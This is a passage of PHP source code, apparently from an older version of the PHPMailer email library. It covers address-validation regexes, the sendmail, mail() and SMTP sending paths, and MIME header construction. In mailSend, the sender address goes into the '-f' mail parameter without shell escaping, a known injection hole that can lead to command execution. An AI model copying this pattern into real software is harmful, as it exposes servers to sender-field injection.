  981. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  982. //Constant was added in PHP 5.2.4
  983.             if (defined('PCRE_VERSION')) {
  984. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  985.                 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  986.                     $patternselect = 'pcre8';
  987.                 } else {
  988.                     $patternselect = 'pcre';
  989.                 }
  990.             } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  991. //Fall back to older PCRE
  992.                 $patternselect = 'pcre';
  993.             } else {
  994. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  995.                 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  996.                     $patternselect = 'php';
  997.                 } else {
  998.                     $patternselect = 'noregex';
  999.                 }
  1000.             }
  1001.         }
  1002.         switch ($patternselect) {
  1003.             case 'pcre8':
  1004.                 return (boolean)preg_match(
  1005.                     '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  1006.                     '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  1007.                     '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  1008.                     '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  1009.                     '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  1010.                     '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  1011.                     '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  1012.                     '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1013.                     '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  1014.                     $address
  1015.                 );
  1016.             case 'pcre':
  1017. //An older regex that doesn't need a recent PCRE
  1018.                 return (boolean)preg_match(
  1019.                     '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  1020.                     '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  1021.                     '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  1022.                     '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  1023.                     '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  1024.                     '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  1025.                     '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  1026.                     '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  1027.                     '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1028.                     '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  1029.                     $address
  1030.                 );
  1031.             case 'html5':
  1032.                 return (boolean)preg_match(
  1033.                     '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  1034.                     '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  1035.                     $address
  1036.                 );
  1037.             case 'noregex':
  1038.                 return (strlen($address) >= 3
  1039.                     and strpos($address, '@') >= 1
  1040.                     and strpos($address, '@') != strlen($address) - 1);
  1041.             case 'php':
  1042.             default:
  1043.                 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  1044.         }
  1045.     }
  1046.  
  1047.     public function send()
  1048.     {
  1049.         try {
  1050.             if (!$this->preSend()) {
  1051.                 return false;
  1052.             }
  1053.             return $this->postSend();
  1054.         } catch (phpmailerException $exc) {
  1055.             $this->mailHeader = '';
  1056.             $this->setError($exc->getMessage());
  1057.             if ($this->exceptions) {
  1058.                 throw $exc;
  1059.             }
  1060.             return false;
  1061.         }
  1062.     }
  1063.  
  1064.     public function preSend()
  1065.     {
  1066.         try {
  1067.             $this->mailHeader = '';
  1068.             if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1069.                 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1070.             }
  1071. // Set whether the message is multipart/alternative
  1072.             if (!empty($this->AltBody)) {
  1073.                 $this->ContentType = 'multipart/alternative';
  1074.             }
  1075.             $this->error_count = 0; // reset errors
  1076.             $this->setMessageType();
  1077. // Refuse to send an empty message unless we are specifically allowing it
  1078.             if (!$this->AllowEmpty and empty($this->Body)) {
  1079.                 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1080.             }
  1081.             $this->MIMEHeader = $this->createHeader();
  1082.             $this->MIMEBody = $this->createBody();
  1083.             if ($this->Mailer == 'mail') {
  1084.                 if (count($this->to) > 0) {
  1085.                     $this->mailHeader .= $this->addrAppend('To', $this->to);
  1086.                 } else {
  1087.                     $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1088.                 }
  1089.                 $this->mailHeader .= $this->headerLine(
  1090.                     'Subject',
  1091.                     $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1092.                 );
  1093.             }
  1094. // Sign with DKIM if enabled
  1095.             if (!empty($this->DKIM_domain)
  1096.                 && !empty($this->DKIM_private)
  1097.                 && !empty($this->DKIM_selector)
  1098.                 && file_exists($this->DKIM_private)
  1099.             ) {
  1100.                 $header_dkim = $this->DKIM_Add(
  1101.                     $this->MIMEHeader . $this->mailHeader,
  1102.                     $this->encodeHeader($this->secureHeader($this->Subject)),
  1103.                     $this->MIMEBody
  1104.                 );
  1105.                 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1106.                     str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1107.             }
  1108.             return true;
  1109.         } catch (phpmailerException $exc) {
  1110.             $this->setError($exc->getMessage());
  1111.             if ($this->exceptions) {
  1112.                 throw $exc;
  1113.             }
  1114.             return false;
  1115.         }
  1116.     }
  1117.  
  1118.     public function postSend()
  1119.     {
  1120.         try {
  1121. // Choose the mailer and send through it
  1122.             switch ($this->Mailer) {
  1123.                 case 'sendmail':
  1124.                 case 'qmail':
  1125.                     return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1126.                 case 'mail':
  1127.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1128.                 case 'smtp':
  1129.                     return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
  1130.                 default:
  1131.                     $sendMethod = $this->Mailer . 'Send';
  1132.                     if (method_exists($this, $sendMethod)) {
  1133.                         return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1134.                     }
  1135.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1136.             }
  1137.         } catch (phpmailerException $exc) {
  1138.             $this->setError($exc->getMessage());
  1139.             $this->edebug($exc->getMessage());
  1140.             if ($this->exceptions) {
  1141.                 throw $exc;
  1142.             }
  1143.         }
  1144.         return false;
  1145.     }
  1146.  
  1147.     protected function sendmailSend($header, $body)
  1148.     {
  1149.         if ($this->Sender != '') {
  1150.             if ($this->Mailer == 'qmail') {
  1151.                 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1152.             } else {
  1153.                 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1154.             }
  1155.         } else {
  1156.             if ($this->Mailer == 'qmail') {
  1157.                 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1158.             } else {
  1159.                 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1160.             }
  1161.         }
  1162.         if ($this->SingleTo) {
  1163.             foreach ($this->SingleToArray as $toAddr) {
  1164.                 if (!@$mail = popen($sendmail, 'w')) {
  1165.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1166.                 }
  1167.                 fputs($mail, 'To: ' . $toAddr . "\n");
  1168.                 fputs($mail, $header);
  1169.                 fputs($mail, $body);
  1170.                 $result = pclose($mail);
  1171.                 $this->doCallback(
  1172.                     ($result == 0),
  1173.                     array($toAddr),
  1174.                     $this->cc,
  1175.                     $this->bcc,
  1176.                     $this->Subject,
  1177.                     $body,
  1178.                     $this->From
  1179.                 );
  1180.                 if ($result != 0) {
  1181.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1182.                 }
  1183.             }
  1184.         } else {
  1185.             if (!@$mail = popen($sendmail, 'w')) {
  1186.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1187.             }
  1188.             fputs($mail, $header);
  1189.             fputs($mail, $body);
  1190.             $result = pclose($mail);
  1191.             $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1192.             if ($result != 0) {
  1193.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1194.             }
  1195.         }
  1196.         return true;
  1197.     }
  1198.  
  1199.     protected function mailSend($header, $body)
  1200.     {
  1201.         $toArr = array();
  1202.         foreach ($this->to as $toaddr) {
  1203.             $toArr[] = $this->addrFormat($toaddr);
  1204.         }
  1205.         $to = implode(', ', $toArr);
  1206.         if (empty($this->Sender)) {
  1207.             $params = ' ';
  1208.         } else {
  1209.             $params = sprintf('-f%s', $this->Sender);
  1210.         }
  1211.         if ($this->Sender != '' and !ini_get('safe_mode')) {
  1212.             $old_from = ini_get('sendmail_from');
  1213.             ini_set('sendmail_from', $this->Sender);
  1214.         }
  1215.         $result = false;
  1216.         if ($this->SingleTo && count($toArr) > 1) {
  1217.             foreach ($toArr as $toAddr) {
  1218.                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1219.                 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1220.             }
  1221.         } else {
  1222.             $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1223.             $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1224.         }
  1225.         if (isset($old_from)) {
  1226.             ini_set('sendmail_from', $old_from);
  1227.         }
  1228.         if (!$result) {
  1229.             throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1230.         }
  1231.         return true;
  1232.     }
  1233.  
  1234.     public function getSMTPInstance()
  1235.     {
  1236.         if (!is_object($this->smtp)) {
  1237.             $this->smtp = new SMTP;
  1238.         }
  1239.         return $this->smtp;
  1240.     }
  1241.  
  1242.     protected function smtpSend($header, $body)
  1243.     {
  1244.         $bad_rcpt = array();
  1245.         if (!$this->smtpConnect($this->SMTPOptions)) {
  1246.             throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1247.         }
  1248.         if ('' == $this->Sender) {
  1249.             $smtp_from = $this->From;
  1250.         } else {
  1251.             $smtp_from = $this->Sender;
  1252.         }
  1253.         if (!$this->smtp->mail($smtp_from)) {
  1254.             $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1255.             throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1256.         }
  1257.         foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1258.             foreach ($togroup as $to) {
  1259.                 if (!$this->smtp->recipient($to[0])) {
  1260.                     $error = $this->smtp->getError();
  1261.                     $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1262.                     $isSent = false;
  1263.                 } else {
  1264.                     $isSent = true;
  1265.                 }
  1266.                 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1267.             }
  1268.         }
  1269.         if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1270.             throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1271.         }
  1272.         if ($this->SMTPKeepAlive) {
  1273.             $this->smtp->reset();
  1274.         } else {
  1275.             $this->smtp->quit();
  1276.             $this->smtp->close();
  1277.         }
  1278.         if (count($bad_rcpt) > 0) {
  1279.             $errstr = '';
  1280.             foreach ($bad_rcpt as $bad) {
  1281.                 $errstr .= $bad['to'] . ': ' . $bad['error'];
  1282.             }
  1283.             throw new phpmailerException(
  1284.                 $this->lang('recipients_failed') . $errstr,
  1285.                 self::STOP_CONTINUE
  1286.             );
  1287.         }
  1288.         return true;
  1289.     }
  1290.  
  1291.     public function smtpConnect($options = array())
  1292.     {
  1293.         if (is_null($this->smtp)) {
  1294.             $this->smtp = $this->getSMTPInstance();
  1295.         }
  1296.         if ($this->smtp->connected()) {
  1297.             return true;
  1298.         }
  1299.         $this->smtp->setTimeout($this->Timeout);
  1300.         $this->smtp->setDebugLevel($this->SMTPDebug);
  1301.         $this->smtp->setDebugOutput($this->Debugoutput);
  1302.         $this->smtp->setVerp($this->do_verp);
  1303.         $hosts = explode(';', $this->Host);
  1304.         $lastexception = null;
  1305.         foreach ($hosts as $hostentry) {
  1306.             $hostinfo = array();
  1307.             if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1308.                 continue;
  1309.             }
  1310.             $prefix = '';
  1311.             $secure = $this->SMTPSecure;
  1312.             $tls = ($this->SMTPSecure == 'tls');
  1313.             if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1314.                 $prefix = 'ssl://';
  1315.                 $tls = false; // Can't have SSL and TLS at the same time
  1316.                 $secure = 'ssl';
  1317.             } elseif ($hostinfo[2] == 'tls') {
  1318.                 $tls = true;
  1319.                 $secure = 'tls';
  1320.             }
  1321.             $sslext = defined('OPENSSL_ALGO_SHA1');
  1322.             if ('tls' === $secure or 'ssl' === $secure) {
  1323.                 if (!$sslext) {
  1324.                     throw new phpmailerException($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL);
  1325.                 }
  1326.             }
  1327.             $host = $hostinfo[3];
  1328.             $port = $this->Port;
  1329.             $tport = (integer)$hostinfo[4];
  1330.             if ($tport > 0 and $tport < 65536) {
  1331.                 $port = $tport;
  1332.             }
  1333.             if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1334.                 try {
  1335.                     if ($this->Helo) {
  1336.                         $hello = $this->Helo;
  1337.                     } else {
  1338.                         $hello = $this->serverHostname();
  1339.                     }
  1340.                     $this->smtp->hello($hello);
  1341.                     if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1342.                         $tls = true;
  1343.                     }
  1344.                     if ($tls) {
  1345.                         if (!$this->smtp->startTLS()) {
  1346.                             throw new phpmailerException($this->lang('connect_host'));
  1347.                         }
  1348.                         $this->smtp->hello($hello);
  1349.                     }
  1350.                     if ($this->SMTPAuth) {
  1351.                         if (!$this->smtp->authenticate(
  1352.                             $this->Username,
  1353.                             $this->Password,
  1354.                             $this->AuthType,
  1355.                             $this->Realm,
  1356.                             $this->Workstation
  1357.                         )
  1358.                         ) {
  1359.                             throw new phpmailerException($this->lang('authenticate'));
  1360.                         }
  1361.                     }
  1362.                     return true;
  1363.                 } catch (phpmailerException $exc) {
  1364.                     $lastexception = $exc;
  1365.                     $this->edebug($exc->getMessage());
  1366.                     $this->smtp->quit();
  1367.                 }
  1368.             }
  1369.         }
  1370.         $this->smtp->close();
  1371.         if ($this->exceptions and !is_null($lastexception)) {
  1372.             throw $lastexception;
  1373.         }
  1374.         return false;
  1375.     }
  1376.  
  1377.     public function smtpClose()
  1378.     {
  1379.         if ($this->smtp !== null) {
  1380.             if ($this->smtp->connected()) {
  1381.                 $this->smtp->quit();
  1382.                 $this->smtp->close();
  1383.             }
  1384.         }
  1385.     }
  1386.  
  1387.     public function setLanguage($langcode = 'en', $lang_path = '')
  1388.     {
  1389. // Define full set of translatable strings in English
  1390.         $PHPMAILER_LANG = array(
  1391.             'authenticate' => 'SMTP Error: Could not authenticate.',
  1392.             'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1393.             'data_not_accepted' => 'SMTP Error: data not accepted.',
  1394.             'empty_message' => 'Message body empty',
  1395.             'encoding' => 'Unknown encoding: ',
  1396.             'execute' => 'Could not execute: ',
  1397.             'file_access' => 'Could not access file: ',
  1398.             'file_open' => 'File Error: Could not open file: ',
  1399.             'from_failed' => 'The following From address failed: ',
  1400.             'instantiate' => 'Could not instantiate mail function.',
  1401.             'invalid_address' => 'Invalid address',
  1402.             'mailer_not_supported' => ' mailer is not supported.',
  1403.             'provide_address' => 'You must provide at least one recipient email address.',
  1404.             'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1405.             'signing' => 'Signing Error: ',
  1406.             'smtp_connect_failed' => 'SMTP connect() failed.',
  1407.             'smtp_error' => 'SMTP server error: ',
  1408.             'variable_set' => 'Cannot set or reset variable: '
  1409.         );
  1410.         if (empty($lang_path)) {
  1411. // Calculate an absolute path so it can work if CWD is not here
  1412.             $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR;
  1413.         }
  1414.         $foundlang = true;
  1415.         $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1416.         if ($langcode != 'en') { // There is no English translation file
  1417. // Make sure language file path is readable
  1418.             if (!is_readable($lang_file)) {
  1419.                 $foundlang = false;
  1420.             } else {
  1421.                 $foundlang = include $lang_file;
  1422.             }
  1423.         }
  1424.         $this->language = $PHPMAILER_LANG;
  1425.         return (boolean)$foundlang; // Returns false if language not found
  1426.     }
  1427.  
  1428.     public function getTranslations()
  1429.     {
  1430.         return $this->language;
  1431.     }
  1432.  
  1433.     public function addrAppend($type, $addr)
  1434.     {
  1435.         $addresses = array();
  1436.         foreach ($addr as $address) {
  1437.             $addresses[] = $this->addrFormat($address);
  1438.         }
  1439.         return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1440.     }
  1441.  
  1442.     public function addrFormat($addr)
  1443.     {
  1444.         if (empty($addr[1])) { // No name provided
  1445.             return $this->secureHeader($addr[0]);
  1446.         } else {
  1447.             return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1448.                 $addr[0]
  1449.             ) . '>';
  1450.         }
  1451.     }
  1452.  
  1453.     public function wrapText($message, $length, $qp_mode = false)
  1454.     {
  1455.         $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
  1456.         $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1457.         $lelen = strlen($this->LE);
  1458.         $crlflen = strlen(self::CRLF);
  1459.         $message = $this->fixEOL($message);
  1460.         if (substr($message, -$lelen) == $this->LE) {
  1461.             $message = substr($message, 0, -$lelen);
  1462.         }
  1463.         $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
  1464.         $message = '';
  1465.         for ($i = 0; $i < count($line); $i++) {
  1466.             $line_part = explode(' ', $line[$i]);
  1467.             $buf = '';
  1468.             for ($e = 0; $e < count($line_part); $e++) {
  1469.                 $word = $line_part[$e];
  1470.                 if ($qp_mode and (strlen($word) > $length)) {
  1471.                     $space_left = $length - strlen($buf) - $crlflen;
  1472.                     if ($e != 0) {
  1473.                         if ($space_left > 20) {
  1474.                             $len = $space_left;
  1475.                             if ($is_utf8) {
  1476.                                 $len = $this->utf8CharBoundary($word, $len);
  1477.                             } elseif (substr($word, $len - 1, 1) == '=') {
  1478.                                 $len--;
  1479.                             } elseif (substr($word, $len - 2, 1) == '=') {
  1480.                                 $len -= 2;
  1481.                             }
  1482.                             $part = substr($word, 0, $len);
  1483.                             $word = substr($word, $len);
  1484.                             $buf .= ' ' . $part;
  1485.                             $message .= $buf . sprintf('=%s', self::CRLF);
  1486.                         } else {
  1487.                             $message .= $buf . $soft_break;
  1488.                         }
  1489.                         $buf = '';
  1490.                     }
  1491.                     while (strlen($word) > 0) {
  1492.                         if ($length <= 0) {
  1493.                             break;
  1494.                         }
  1495.                         $len = $length;
  1496.                         if ($is_utf8) {
  1497.                             $len = $this->utf8CharBoundary($word, $len);
  1498.                         } elseif (substr($word, $len - 1, 1) == '=') {
  1499.                             $len--;
  1500.                         } elseif (substr($word, $len - 2, 1) == '=') {
  1501.                             $len -= 2;
  1502.                         }
  1503.                         $part = substr($word, 0, $len);
  1504.                         $word = substr($word, $len);
  1505.                         if (strlen($word) > 0) {
  1506.                             $message .= $part . sprintf('=%s', self::CRLF);
  1507.                         } else {
  1508.                             $buf = $part;
  1509.                         }
  1510.                     }
  1511.                 } else {
  1512.                     $buf_o = $buf;
  1513.                     $buf .= ($e == 0) ? $word : (' ' . $word);
  1514.                     if (strlen($buf) > $length and $buf_o != '') {
  1515.                         $message .= $buf_o . $soft_break;
  1516.                         $buf = $word;
  1517.                     }
  1518.                 }
  1519.             }
  1520.             $message .= $buf . self::CRLF;
  1521.         }
  1522.         return $message;
  1523.     }
  1524.  
  1525.     public function utf8CharBoundary($encodedText, $maxLength)
  1526.     {
  1527.         $foundSplitPos = false;
  1528.         $lookBack = 3;
  1529.         while (!$foundSplitPos) {
  1530.             $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1531.             $encodedCharPos = strpos($lastChunk, '=');
  1532.             if (false !== $encodedCharPos) {
  1533. // Found start of encoded character byte within $lookBack block.
  1534. // Check the encoded byte value (the 2 chars after the '=')
  1535.                 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1536.                 $dec = hexdec($hex);
  1537.                 if ($dec < 128) { // Single byte character.
  1538. // If the encoded char was found at pos 0, it will fit
  1539. // otherwise reduce maxLength to start of the encoded char
  1540.                     $maxLength = ($encodedCharPos == 0) ? $maxLength :
  1541.                         $maxLength - ($lookBack - $encodedCharPos);
  1542.                     $foundSplitPos = true;
  1543.                 } elseif ($dec >= 192) { // First byte of a multi byte character
  1544. // Reduce maxLength to split at start of character
  1545.                     $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1546.                     $foundSplitPos = true;
  1547.                 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  1548.                     $lookBack += 3;
  1549.                 }
  1550.             } else {
  1551. // No encoded character found
  1552.                 $foundSplitPos = true;
  1553.             }
  1554.         }
  1555.         return $maxLength;
  1556.     }
  1557.  
  1558.     public function setWordWrap()
  1559.     {
  1560.         if ($this->WordWrap < 1) {
  1561.             return;
  1562.         }
  1563.         switch ($this->message_type) {
  1564.             case 'alt':
  1565.             case 'alt_inline':
  1566.             case 'alt_attach':
  1567.             case 'alt_inline_attach':
  1568.                 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1569.                 break;
  1570.             default:
  1571.                 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1572.                 break;
  1573.         }
  1574.     }
  1575.  
  1576.     public function createHeader()
  1577.     {
  1578.         $result = '';
  1579. // Set the boundaries
  1580.         $uniq_id = md5(uniqid(time()));
  1581.         $this->boundary[1] = 'b1_' . $uniq_id;
  1582.         $this->boundary[2] = 'b2_' . $uniq_id;
  1583.         $this->boundary[3] = 'b3_' . $uniq_id;
  1584.         if ($this->MessageDate == '') {
  1585.             $this->MessageDate = self::rfcDate();
  1586.         }
  1587.         $result .= $this->headerLine('Date', $this->MessageDate);
  1588.  
  1589. // To be created automatically by mail()
  1590.         if ($this->SingleTo) {
  1591.             if ($this->Mailer != 'mail') {
  1592.                 foreach ($this->to as $toaddr) {
  1593.                     $this->SingleToArray[] = $this->addrFormat($toaddr);
  1594.                 }
  1595.             }
  1596.         } else {
  1597.             if (count($this->to) > 0) {
  1598.                 if ($this->Mailer != 'mail') {
  1599.                     $result .= $this->addrAppend('To', $this->to);
  1600.                 }
  1601.             } elseif (count($this->cc) == 0) {
  1602.                 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  1603.             }
  1604.         }
  1605.         $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  1606. // sendmail and mail() extract Cc from the header before sending
  1607.         if (count($this->cc) > 0) {
  1608.             $result .= $this->addrAppend('Cc', $this->cc);
  1609.         }
  1610. // sendmail and mail() extract Bcc from the header before sending
  1611.         if ((
  1612.                 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  1613.             )
  1614.             and count($this->bcc) > 0
  1615.         ) {
  1616.             $result .= $this->addrAppend('Bcc', $this->bcc);
  1617.         }
  1618.         if (count($this->ReplyTo) > 0) {
  1619.             $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  1620.         }
  1621. // mail() sets the subject itself
  1622.         if ($this->Mailer != 'mail') {
  1623.             $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  1624.         }
  1625.         if ($this->MessageID != '') {
  1626.             $this->lastMessageID = $this->MessageID;
  1627.         } else {
  1628.             $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
  1629.         }
  1630.         $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
  1631.         $result .= $this->headerLine('X-Priority', $this->Priority);
  1632.         if ($this->XMailer == '') {
  1633.         } else {
  1634.             $myXmailer = trim($this->XMailer);
  1635.             if ($myXmailer) {
  1636.                 $result .= $this->headerLine('X-Mailer', $myXmailer);
  1637.             }
  1638.         }
  1639.         if ($this->ConfirmReadingTo != '') {
  1640.             $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  1641.         }
  1642. // Add custom headers
  1643.         for ($index = 0; $index < count($this->CustomHeader); $index++) {
  1644.             $result .= $this->headerLine(
  1645.                 trim($this->CustomHeader[$index][0]),
  1646.                 $this->encodeHeader(trim($this->CustomHeader[$index][1]))
  1647.             );
  1648.         }
  1649.         if (!$this->sign_key_file) {
  1650.             $result .= $this->headerLine('MIME-Version', '1.0');
  1651.             $result .= $this->getMailMIME();
  1652.         }
  1653.         return $result;
  1654.     }
  1655.  
  1656.     public function getMailMIME()
  1657.     {
  1658.         $result = '';
  1659.         $ismultipart = true;
  1660.         switch ($this->message_type) {
  1661.             case 'inline':
  1662.                 $result .= $this->headerLine('Content-Type', 'multipart/related;');
  1663.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1664.                 break;
  1665.             case 'attach':
  1666.             case 'inline_attach':
  1667.             case 'alt_attach':
  1668.             case 'alt_inline_attach':
  1669.                 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  1670.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1671.                 break;
  1672.             case 'alt':
  1673.             case 'alt_inline':
  1674.                 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1675.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1676.                 break;
  1677.             default:
  1678. // Catches case 'plain': and case '':
  1679.                 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  1680.                 $ismultipart = false;
  1681.                 break;
  1682.         }
  1683. // RFC1341 part 5 says 7bit is assumed if not specified
  1684.         if ($this->Encoding != '7bit') {
  1685. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  1686.             if ($ismultipart) {
  1687.                 if ($this->Encoding == '8bit') {
  1688.                     $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  1689.                 }
  1690. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  1691.             } else {
  1692.                 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  1693.             }
  1694.         }
  1695.         if ($this->Mailer != 'mail') {
  1696.             $result .= $this->LE;
  1697.         }
  1698.         return $result;
  1699.     }
  1700.  
  1701.     public function getSentMIMEMessage()
  1702.     {
  1703.         return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  1704.     }
  1705.  
  1706.     public function createBody()
  1707.     {
  1708.         $body = '';
  1709.         if ($this->sign_key_file) {
  1710.             $body .= $this->getMailMIME() . $this->LE;
  1711.         }
  1712.         $this->setWordWrap();
  1713.         $bodyEncoding = $this->Encoding;
  1714.         $bodyCharSet = $this->CharSet;
  1715.         if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
